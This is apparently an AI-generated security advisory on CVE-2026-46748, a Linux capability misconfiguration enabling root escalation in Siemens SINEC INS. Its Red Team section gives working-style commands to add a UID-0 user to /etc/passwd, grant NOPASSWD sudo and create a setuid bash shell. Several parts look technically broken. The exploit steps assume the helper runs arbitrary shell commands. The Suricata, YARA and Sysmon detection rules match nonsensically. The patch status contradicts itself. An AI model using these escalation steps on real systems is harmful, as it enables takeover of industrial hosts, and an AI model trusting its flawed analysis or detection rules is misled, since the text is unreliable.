CVE-2026-46748

Executive Summary

CVE-2026-46748 is a high-severity privilege escalation vulnerability affecting Siemens SINEC INS (Industrial Network Security) versions prior to V1.0 SP2 Update 6. The vulnerability stems from the affected system including a binary configured with the cap_dac_override capability. This Linux capability allows a process to bypass all file system permission checks (DAC - Discretionary Access Control), effectively granting unrestricted read/write access to any file on the system. A local attacker with low privileges can exploit this misconfiguration to escalate privileges to root, enabling arbitrary file modification and full system compromise. The vulnerability has a CVSS score of 8.8, indicating high impact on confidentiality, integrity, and availability. No public proof-of-concept or exploit code is currently available, and the patch status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit the misconfiguration.
• Privileges Required (PR): Low (L) – The attacker needs a standard user account.
• User Interaction (UI): None (N) – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file system read access leads to disclosure of sensitive data.
• Integrity (I): High (H) – Arbitrary file modification allows tampering with system binaries and configurations.
• Availability (A): High (H) – An attacker can delete or corrupt critical system files, causing denial of service.

Threat Level: Critical for industrial environments where SINEC INS is deployed. The local attack vector reduces the immediate risk from remote attackers, but once an initial foothold is gained (e.g., via phishing or other means), this vulnerability provides a direct path to root.

Deep Dive & Mechanics

The core issue is the assignment of the cap_dac_override Linux capability to a binary within the SINEC INS software suite. In Linux, capabilities are a fine-grained mechanism to grant specific privileges to processes without granting full root access. The cap_dac_override capability specifically allows a process to bypass all file permission checks (read, write, execute) on the file system, effectively overriding the Discretionary Access Control (DAC) mechanism.

How it works:

1. A binary (e.g., a helper utility or service) within SINEC INS is installed with the cap_dac_override capability set via setcap or similar mechanism.
2. A local attacker with a low-privileged account on the system identifies this binary (e.g., using getcap -r / or getfattr -d -m - file).
3. The attacker can then execute this binary, which runs with the elevated capability.
4. Because the binary has cap_dac_override, it can read, write, or execute any file on the system, regardless of ownership or permissions.
5. The attacker can leverage this to:
   • Overwrite system binaries (e.g., /usr/bin/sudo, /bin/bash) with malicious versions.
   • Modify configuration files (e.g., /etc/shadow, /etc/sudoers) to create a root user or grant sudo access.
   • Read sensitive files (e.g., /etc/shadow, private keys, database credentials).
   • Plant a rootkit or backdoor.

Attack Chain:

1. Initial Access: Attacker gains a low-privileged shell on the target system (e.g., via SSH, web shell, or compromised service account).
2. Discovery: Attacker runs getcap -r / 2>/dev/null to find binaries with cap_dac_override.
3. Exploitation: Attacker uses the identified binary to overwrite /etc/passwd or /etc/shadow to add a new root user, or modifies a setuid binary.
4. Privilege Escalation: Attacker switches to the new root user or executes the modified setuid binary to gain root shell.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable configuration versus a secure configuration.

Vulnerable Configuration (SINEC INS < V1.0 SP2 Update 6):

# Example: A binary with cap_dac_override capability
$ getcap /opt/siemens/sinec-ins/bin/helper
/opt/siemens/sinec-ins/bin/helper = cap_dac_override+ep

The +ep indicates the capability is effective and permitted.

Patched Configuration (Expected):

# After patching, the capability should be removed or restricted
$ getcap /opt/siemens/sinec-ins/bin/helper
/opt/siemens/sinec-ins/bin/helper =

Or the binary is replaced with one that does not require the capability, or the capability is scoped to specific files using cap_dac_read_search or cap_dac_override with a more restrictive file system namespace.

Code-Level Fix (Hypothetical): The vendor should either:

• Remove the cap_dac_override capability from the binary.
• Replace it with more specific capabilities (e.g., cap_dac_read_search for read-only access).
• Implement proper privilege separation, dropping capabilities after the initial privileged operation.
• Use prctl(PR_CAPBSET_DROP, ...) to drop capabilities after use.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Linux system running SINEC INS < V1.0 SP2 Update 6.
• A low-privileged user account (e.g., user).

Step 1: Identify the vulnerable binary

# Search for binaries with cap_dac_override
getcap -r / 2>/dev/null | grep cap_dac_override

Expected output: /opt/siemens/sinec-ins/bin/helper = cap_dac_override+ep

Step 2: Exploit to gain root

# Method 1: Overwrite /etc/passwd to add a root user
# First, create a password hash for the new root user
openssl passwd -6 -salt xyz P@ssw0rd
# Output: $6$xyz$...

# Use the vulnerable binary to append a new root user to /etc/passwd
/opt/siemens/sinec-ins/bin/helper sh -c 'echo "hacker:$6$xyz$...:0:0:root:/root:/bin/bash" >> /etc/passwd'

# Switch to the new root user
su hacker
# Password: P@ssw0rd
# Now you have a root shell

Alternative Method: Overwrite sudoers

# Use the vulnerable binary to add a sudo rule
/opt/siemens/sinec-ins/bin/helper sh -c 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers'

# Then run sudo
sudo -i

Alternative Method: Modify a setuid binary

# Copy /bin/bash to a writable location, modify it, and set setuid
cp /bin/bash /tmp/rootshell
/opt/siemens/sinec-ins/bin/helper chmod u+s /tmp/rootshell
/tmp/rootshell -p
# This gives a root shell (if bash supports -p)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for capability abuse:

   • Auditd rules to log capset and capget syscalls.
   • Monitor for processes using cap_dac_override unexpectedly.

2. File integrity monitoring:

   • Monitor critical files like /etc/passwd, /etc/shadow, /etc/sudoers, /bin/bash, /usr/bin/sudo for unauthorized modifications.

3. Process monitoring:

   • Look for the vulnerable binary (helper or similar) being executed by non-root users.
   • Monitor for child processes spawned by the vulnerable binary (e.g., sh, bash, python).

4. Log analysis:

   • Check /var/log/auth.log for su or sudo usage from unexpected users.
   • Check /var/log/syslog for capability-related messages.

Hunting Query (Sysmon for Linux):

<Sysmon>
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">cap_dac_override</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Indicators of Compromise (IOCs)

File-Based IOCs:

• /opt/siemens/sinec-ins/bin/helper (or similar binary with cap_dac_override capability)
• Unexpected entries in /etc/passwd with UID 0
• Unexpected entries in /etc/sudoers
• Modified system binaries (e.g., /bin/bash, /usr/bin/sudo) with altered hashes
• Presence of /tmp/rootshell or similar setuid binaries

Process-Based IOCs:

• Process tree: helper -> sh -> echo or helper -> sh -> chmod
• Processes running with cap_dac_override effective capability (check /proc/PID/status for CapEff)

Network-Based IOCs:

• No direct network indicators, but lateral movement may follow after privilege escalation.

Log-Based IOCs:

• Auditd logs showing SYSCALL with cap_fe=0x1 (capability effective) for unexpected processes.
• su or sudo commands from newly created users.

Detection Engineering

YARA Rule

rule CVE_2026_46748_SINEC_INS_CapDacOverride {
    meta:
        description = "Detects binaries with cap_dac_override capability in SINEC INS"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-46748"
        severity = "high"
    strings:
        $cap_string = "cap_dac_override"
    condition:
        $cap_string and filesize < 10MB
}

Sigma Rule

title: CVE-2026-46748 - SINEC INS Capability Abuse
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of binaries with cap_dac_override capability on SINEC INS systems
author: Valters IT
date: 2026/01/01
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2026.46748
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Capabilities|contains: 'cap_dac_override'
    condition: selection
falsepositives:
    - Legitimate administrative use of the binary
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46748 SINEC INS Capability Exploit Attempt"; flow:to_server,established; content:"cap_dac_override"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect SINEC INS systems from the network until a patch is applied.
2. Restrict local access: Limit interactive logins to only trusted administrators.
3. Remove the capability manually: As a temporary workaround, remove the cap_dac_override capability from the binary:

   setcap -r /opt/siemens/sinec-ins/bin/helper
   

   Note: This may break functionality. Test in a non-production environment first.

Long-Term Fix:

• Apply the official patch from Siemens once available (SINEC INS V1.0 SP2 Update 6 or later).
• If patching is not possible, consider replacing the binary with a custom wrapper that drops capabilities after use.

Compensating Controls:

• Implement mandatory access control (e.g., SELinux, AppArmor) to confine the binary even if it has capabilities.
• Use Linux Security Modules (LSMs) to restrict file system access.
• Enable auditd to log all capability usage and monitor for anomalies.
• Deploy endpoint detection and response (EDR) solutions with behavioral detection for privilege escalation.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.